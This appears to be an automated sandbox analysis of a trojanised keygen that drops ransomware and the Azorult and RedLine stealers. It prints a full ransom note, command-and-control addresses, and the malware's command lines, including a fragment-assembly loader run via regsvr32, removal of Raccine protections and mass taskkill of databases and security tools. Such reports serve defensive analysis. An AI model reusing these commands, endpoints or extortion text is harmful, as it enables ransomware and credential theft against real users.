Analysis

  • max time kernel
    1800s
  • max time network
    1802s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    11-05-2021 23:02

General

  • Target

    Lenovo.Easycamera.6.32.2018.05.key.generator.by.aaocg.exe

  • Size

    6.4MB

  • MD5

    cdeeb6da0244476be71ebf88fa76ecdc

  • SHA1

    f26b35c822187292bc1c31c2e61b2a714daa5334

  • SHA256

    634f7f210c081e0d54fb348a921db874126736503cf7cfcf2f605c484aa6635a

  • SHA512

    149487c0ddf5c847c1e5182a921bc9d527b4bfcb525de1a129bd10c25a8119e7de153eadc6fdb157e95999ae20557aabe872c1b6ae8a8fb1a25bfe25478d30e1

Malware Config

Extracted

Path

C:\Windows\TEMP\RESTORE_FILES_INFO.txt

Ransom Note
YOUR COMPANY NETWORK HAS BEEN HACKED All your important files have been encrypted! Your files are safe! Only modified.(AES) No software available on internet can help you. We are the only ones able to decrypt your files. -------------------------------------------------------------------------------- We also gathered highly confidential/personal data. These data are currently stored on a private server. Files are also encrypted and stored securely. -------------------------------------------------------------------------------- As a result of working with us, you will receive: Fully automatic decryptor, all your data will be recovered within a few hours after it's run. Server with your data will be immediately destroyed after your payment. Save time and continue working. You will can send us 2-3 non-important files and we will decrypt it for free to prove we are able to give your files back. -------------------------------------------------------------------------------- !!!!!!!!!!!!!!!!!!!!!!!! If you decide not to work with us: All data on your computers will remain encrypted forever. YOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER! So you can expect your data to be publicly available in the near future.. The price will increase over time. !!!!!!!!!!!!!!!!!!!!!!!!! -------------------------------------------------------------------------------- It doesn't matter to us what you choose pay us or we will sell your data. We only seek money and our goal is not to damage your reputation or prevent your business from running. Write to us now and we will provide the best prices. Instructions for contacting us: ____________________________________________________________________________________ You have two ways: 1) [Recommended] Using a TOR browser! a. Download and install TOR browser from this site: https://torproject.org/ b. Open the Tor browser. Copy the link: http://promethw27cbrcot.onion/ticket.php?track=141-5D9-Y454 and paste it in the Tor browser. c. Start a chat and follow the further instructions. 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a. Open your any browser (Chrome, Firefox, Opera, IE, Edge) b. Open our secondary website: http://prometheusdec.in/ticket.php?track=141-5D9-Y454 c. Start a chat and follow the further instructions. Warning: secondary website can be blocked, thats why first variant much better and more available. _____________________________________________________________________________________ Attention! Any attempt to restore your files with third-party software will corrupt it. Modify or rename files will result in a loose of data. If you decide to try anyway, make copies before that Key Identifier: urqeyGZu6Ui/gl3tJjng9271fFrMoyBRrycUad5CD+Kabkj9qBLX3MqYXt1TZY4Fqr+g7ri0Vy4I08eP1glh5j3KVN/V4fF2gQZ3QHtp7htw8pLBtGBKOv2C2k+4boivlOMMqZjN7Cxq/EXUTC344k5gZBCM49v74vIP5+Nr+YKL2mIQoyQz/cingl08cZqTd1WpFB8E4g9sZlF5UqBS9wQCB9IIkR/bn4/q8zYRaEzQxeNlyc/X/C8QZv6H7MWBGXIWAgiLQgc76joWSt8aTDqNy9Q2GgADhP5NsmoC1dDw2mL/z2cMRNjoDhFFOKrqT52Jha6vhzMSfRGx7ftiajIx8YylZZjXWfsw+dnjy9nPZVLCIfuBY5yWQTFdGLAUMHHtzzxnInTjRDT4QkbIuncI7ctiAjH4c0yGu3vVrbVOBexLZmnyfpbBmYeNp3P0h8fcN2rss+m1Gt4veqj+YbfpAijxlfSsmsvNBw3L4FkKhOJCWdr6N7gO5a00qVkWnPMISNVzES2MVOaSA9LBGxB/QcZpin81c66DUi0PojWWRHMDlA21wwwLNvN8q8fMsPZ4VD0IKc4OyMedg/biZg8lBH9VBy2UyHuB2gApPdDZedr+PVGFM3tIJ6hlZaCryhFnvIYco77NOxomqw/+FURE1f/whlpEYUlJffdkvAM=
URLs

http://promethw27cbrcot.onion/ticket.php?track=141-5D9-Y454

http://prometheusdec.in/ticket.php?track=141-5D9-Y454

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Extracted

Family

redline

Botnet

ServLyla

C2

87.251.71.193:20119

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • PlugX

    PlugX is a RAT (Remote Access Trojan) that has been around since 2008.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 21 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Modifies extensions of user files 2 IoCs

    Ransomware generally changes the extension on encrypted files.

  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 6 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 50 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2696
  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s WpnService
    1⤵
      PID:2688
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Browser
      1⤵
        PID:2580
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
        1⤵
          PID:2408
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
          1⤵
            PID:2380
          • C:\Users\Admin\AppData\Local\Temp\Lenovo.Easycamera.6.32.2018.05.key.generator.by.aaocg.exe
            "C:\Users\Admin\AppData\Local\Temp\Lenovo.Easycamera.6.32.2018.05.key.generator.by.aaocg.exe"
            1⤵
            • Suspicious use of WriteProcessMemory
            PID:3984
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:732
              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
                keygen-pr.exe -p83fsase3Ge
                3⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3504
                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                  "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:4012
                  • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                    C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
                    5⤵
                      PID:3476
                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
                  keygen-step-1.exe
                  3⤵
                  • Executes dropped EXE
                  PID:3084
                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe
                  keygen-step-5.exe
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:3028
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /Q /C tYpE "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" > ..\FDhpFB.exe &&STARt ..\FDhpFB.exe -PpTHlybeBhi_Z2JPlcy& If "" == "" for %E in ( "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" ) do taskkill -IM "%~NXE" /f > NuL
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3524
                    • C:\Users\Admin\AppData\Local\Temp\FDhpFB.exe
                      ..\FDhpFB.exe -PpTHlybeBhi_Z2JPlcy
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:2148
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /Q /C tYpE "C:\Users\Admin\AppData\Local\Temp\FDhpFB.exe" > ..\FDhpFB.exe &&STARt ..\FDhpFB.exe -PpTHlybeBhi_Z2JPlcy& If "-PpTHlybeBhi_Z2JPlcy" == "" for %E in ( "C:\Users\Admin\AppData\Local\Temp\FDhpFB.exe" ) do taskkill -IM "%~NXE" /f > NuL
                        6⤵
                          PID:1332
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c eCHO | SET /p = "MZ" > 30EY.gg & COpY /b /y 30EY.gg +Q_FM.YU +H_WJ2.E3 + PJ76k1.o + SZaA.2a0+ 8Td1LZ.82Q + DMgIJ5IH.JC+ 4_xVhVZw.W + hWLEB3.E + BHn249Hz.35 + TRYY00W9.RM+ QBCT.xsG + 2SOkTK.Jx + Y1ws.9T8 + 9Q5AeJ.L + 7VrCZVK.U ..\IZ1SIMY.QE > nUl & sTART regsvr32 ..\iZ1SIMY.qE -u -S & DEl /Q * > Nul
                          6⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4224
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /S /D /c" eCHO "
                            7⤵
                              PID:4300
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /S /D /c" SET /p = "MZ" 1>30EY.gg"
                              7⤵
                                PID:4320
                              • C:\Windows\SysWOW64\regsvr32.exe
                                regsvr32 ..\iZ1SIMY.qE -u -S
                                7⤵
                                • Loads dropped DLL
                                • Suspicious use of NtCreateThreadExHideFromDebugger
                                PID:4420
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill -IM "keygen-step-5.exe" /f
                            5⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:844
                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
                        keygen-step-3.exe
                        3⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:2132
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
                          4⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3644
                          • C:\Windows\SysWOW64\PING.EXE
                            ping 1.1.1.1 -n 1 -w 3000
                            5⤵
                            • Runs ping.exe
                            PID:2744
                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
                        keygen-step-4.exe
                        3⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:2764
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Installer.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Installer.exe"
                          4⤵
                          • Executes dropped EXE
                          • Modifies system certificate store
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:2348
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c taskkill /f /im chrome.exe
                            5⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4268
                            • C:\Windows\SysWOW64\taskkill.exe
                              taskkill /f /im chrome.exe
                              6⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4336
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\jg6_6asg.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\jg6_6asg.exe"
                          4⤵
                          • Executes dropped EXE
                          • Checks whether UAC is enabled
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4460
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\zhangxia.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\zhangxia.exe"
                          4⤵
                          • Executes dropped EXE
                          • Checks computer location settings
                          PID:4280
                          • C:\Windows\SysWOW64\rUNdlL32.eXe
                            "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",install
                            5⤵
                            • Loads dropped DLL
                            • Modifies registry class
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:184
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
                          4⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2984
                          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe
                            C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe
                            5⤵
                            • Executes dropped EXE
                            • Checks computer location settings
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4328
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"
                          4⤵
                          • Executes dropped EXE
                          • Adds Run key to start application
                          PID:4412
                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                            5⤵
                            • Executes dropped EXE
                            PID:4764
                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                            5⤵
                            • Executes dropped EXE
                            • Suspicious behavior: EnumeratesProcesses
                            PID:4348
                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                            5⤵
                            • Executes dropped EXE
                            • Suspicious behavior: EnumeratesProcesses
                            PID:4208
                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                            5⤵
                            • Executes dropped EXE
                            • Suspicious behavior: EnumeratesProcesses
                            PID:4612
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                    1⤵
                      PID:1864
                    • \??\c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s BITS
                      1⤵
                      • Suspicious use of SetThreadContext
                      • Modifies registry class
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3356
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                        2⤵
                        • Drops file in System32 directory
                        • Checks processor information in registry
                        • Modifies data under HKEY_USERS
                        • Modifies registry class
                        PID:4472
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s SENS
                      1⤵
                        PID:1388
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                        1⤵
                          PID:1272
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k netsvcs -s Themes
                          1⤵
                            PID:1228
                          • c:\windows\system32\svchost.exe
                            c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                            1⤵
                              PID:1108
                            • c:\windows\system32\svchost.exe
                              c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                              1⤵
                              • Modifies registry class
                              PID:1020
                            • c:\windows\system32\svchost.exe
                              c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                              1⤵
                                PID:348
                              • C:\Windows\system32\wbem\wmiprvse.exe
                                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                1⤵
                                  PID:2744
                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                  1⤵
                                  • Drops file in Windows directory
                                  • Modifies Internet Explorer settings
                                  • Modifies registry class
                                  • Suspicious use of SetWindowsHookEx
                                  PID:4196
                                • C:\Windows\system32\browser_broker.exe
                                  C:\Windows\system32\browser_broker.exe -Embedding
                                  1⤵
                                  • Modifies Internet Explorer settings
                                  PID:4540
                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                  1⤵
                                  • Modifies registry class
                                  • Suspicious behavior: MapViewOfSection
                                  • Suspicious use of SetWindowsHookEx
                                  PID:4956
                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                  1⤵
                                  • Modifies Internet Explorer settings
                                  • Modifies registry class
                                  PID:4980
                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                  1⤵
                                  • Modifies registry class
                                  PID:3732
                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                  1⤵
                                  • Modifies registry class
                                  PID:4156
                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                  1⤵
                                  • Modifies registry class
                                  PID:2984
                                • C:\Windows\PSEXESVC.exe
                                  C:\Windows\PSEXESVC.exe
                                  1⤵
                                  • Drops file in Windows directory
                                  PID:4716
                                  • C:\Windows\Svchost.exe
                                    "Svchost.exe"
                                    2⤵
                                    • Modifies extensions of user files
                                    • Drops file in System32 directory
                                    • Modifies data under HKEY_USERS
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of FindShellTrayWindow
                                    PID:4484
                                    • C:\Windows\system32\taskkill.exe
                                      "taskkill" /F /IM RaccineSettings.exe
                                      3⤵
                                      • Kills process with taskkill
                                      PID:736
                                    • C:\Windows\system32\reg.exe
                                      "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
                                      3⤵
                                        PID:1332
                                      • C:\Windows\system32\reg.exe
                                        "reg" delete HKCU\Software\Raccine /F
                                        3⤵
                                        • Modifies registry key
                                        PID:4104
                                      • C:\Windows\system32\schtasks.exe
                                        "schtasks" /DELETE /TN "Raccine Rules Updater" /F
                                        3⤵
                                          PID:5100
                                        • C:\Windows\system32\sc.exe
                                          "sc.exe" config Dnscache start= auto
                                          3⤵
                                            PID:4344
                                          • C:\Windows\system32\sc.exe
                                            "sc.exe" config FDResPub start= auto
                                            3⤵
                                              PID:2256
                                            • C:\Windows\system32\sc.exe
                                              "sc.exe" config SQLTELEMETRY start= disabled
                                              3⤵
                                                PID:3744
                                              • C:\Windows\system32\netsh.exe
                                                "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
                                                3⤵
                                                • Modifies data under HKEY_USERS
                                                PID:2868
                                              • C:\Windows\system32\sc.exe
                                                "sc.exe" config SSDPSRV start= auto
                                                3⤵
                                                  PID:1400
                                                • C:\Windows\system32\sc.exe
                                                  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
                                                  3⤵
                                                    PID:3112
                                                  • C:\Windows\system32\sc.exe
                                                    "sc.exe" config SstpSvc start= disabled
                                                    3⤵
                                                      PID:3968
                                                    • C:\Windows\system32\sc.exe
                                                      "sc.exe" config upnphost start= auto
                                                      3⤵
                                                        PID:2496
                                                      • C:\Windows\system32\sc.exe
                                                        "sc.exe" config SQLWriter start= disabled
                                                        3⤵
                                                          PID:4544
                                                        • C:\Windows\system32\taskkill.exe
                                                          "taskkill.exe" /IM mspub.exe /F
                                                          3⤵
                                                          • Kills process with taskkill
                                                          PID:4340
                                                        • C:\Windows\system32\taskkill.exe
                                                          "taskkill.exe" /IM synctime.exe /F
                                                          3⤵
                                                          • Kills process with taskkill
                                                          PID:1008
                                                        • C:\Windows\system32\taskkill.exe
                                                          "taskkill.exe" /IM mspub.exe /F
                                                          3⤵
                                                          • Kills process with taskkill
                                                          PID:4928
                                                        • C:\Windows\system32\taskkill.exe
                                                          "taskkill.exe" /IM mydesktopqos.exe /F
                                                          3⤵
                                                          • Kills process with taskkill
                                                          PID:704
                                                        • C:\Windows\system32\taskkill.exe
                                                          "taskkill.exe" /IM Ntrtscan.exe /F
                                                          3⤵
                                                          • Kills process with taskkill
                                                          PID:984
                                                        • C:\Windows\system32\taskkill.exe
                                                          "taskkill.exe" /IM mysqld.exe /F
                                                          3⤵
                                                          • Kills process with taskkill
                                                          PID:348
                                                        • C:\Windows\system32\taskkill.exe
                                                          "taskkill.exe" /IM isqlplussvc.exe /F
                                                          3⤵
                                                          • Kills process with taskkill
                                                          PID:1968
                                                        • C:\Windows\system32\taskkill.exe
                                                          "taskkill.exe" /IM mydesktopservice.exe /F
                                                          3⤵
                                                          • Kills process with taskkill
                                                          PID:2940
                                                        • C:\Windows\system32\netsh.exe
                                                          "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
                                                          3⤵
                                                          • Modifies data under HKEY_USERS
                                                          PID:4648
                                                        • C:\Windows\system32\taskkill.exe
                                                          "taskkill.exe" /IM sqbcoreservice.exe /F
                                                          3⤵
                                                          • Kills process with taskkill
                                                          PID:4216
                                                        • C:\Windows\system32\taskkill.exe
                                                          "taskkill.exe" /IM firefoxconfig.exe /F
                                                          3⤵
                                                          • Kills process with taskkill
                                                          PID:312
                                                        • C:\Windows\system32\taskkill.exe
                                                          "taskkill.exe" /IM encsvc.exe /F
                                                          3⤵
                                                          • Kills process with taskkill
                                                          PID:3360
                                                        • C:\Windows\system32\taskkill.exe
                                                          "taskkill.exe" /IM agntsvc.exe /F
                                                          3⤵
                                                          • Kills process with taskkill
                                                          PID:1608
                                                        • C:\Windows\system32\taskkill.exe
                                                          "taskkill.exe" /IM excel.exe /F
                                                          3⤵
                                                          • Kills process with taskkill
                                                          PID:3348
                                                        • C:\Windows\system32\taskkill.exe
                                                          "taskkill.exe" /IM sqlwriter.exe /F
                                                          3⤵
                                                          • Kills process with taskkill
                                                          PID:2364
                                                        • C:\Windows\system32\taskkill.exe
                                                          "taskkill.exe" /IM onenote.exe /F
                                                          3⤵
                                                          • Kills process with taskkill
                                                          PID:1604
                                                        • C:\Windows\system32\arp.exe
                                                          "arp" -a
                                                          3⤵
                                                            PID:3712
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM CNTAoSMgr.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:3588
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM tbirdconfig.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:3232
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM thebat.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:5108
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM steam.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:4812
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM PccNTMon.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:1000
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM ocomm.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:2484
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM dbeng50.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:2344
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM infopath.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:2068
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" IM thunderbird.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:4716
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM thebat64.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:4788
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM dbsnmp.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:2744
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM mbamtray.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:1908
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM msaccess.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:784
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM tmlisten.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:3640
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM xfssvccon.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:4924
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM outlook.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:4232
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM zoolz.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:4244
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM msftesql.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:996
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM wordpad.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:4276
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM powerpnt.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:3256
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM mysqld-opt.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:668
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM mydesktopqos.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:2196
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM ocautoupds.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:1152
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM visio.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:1884
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM ocssd.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:1080
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM mydesktopservice.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:3796
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM oracle.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:3364
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM winword.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:3836
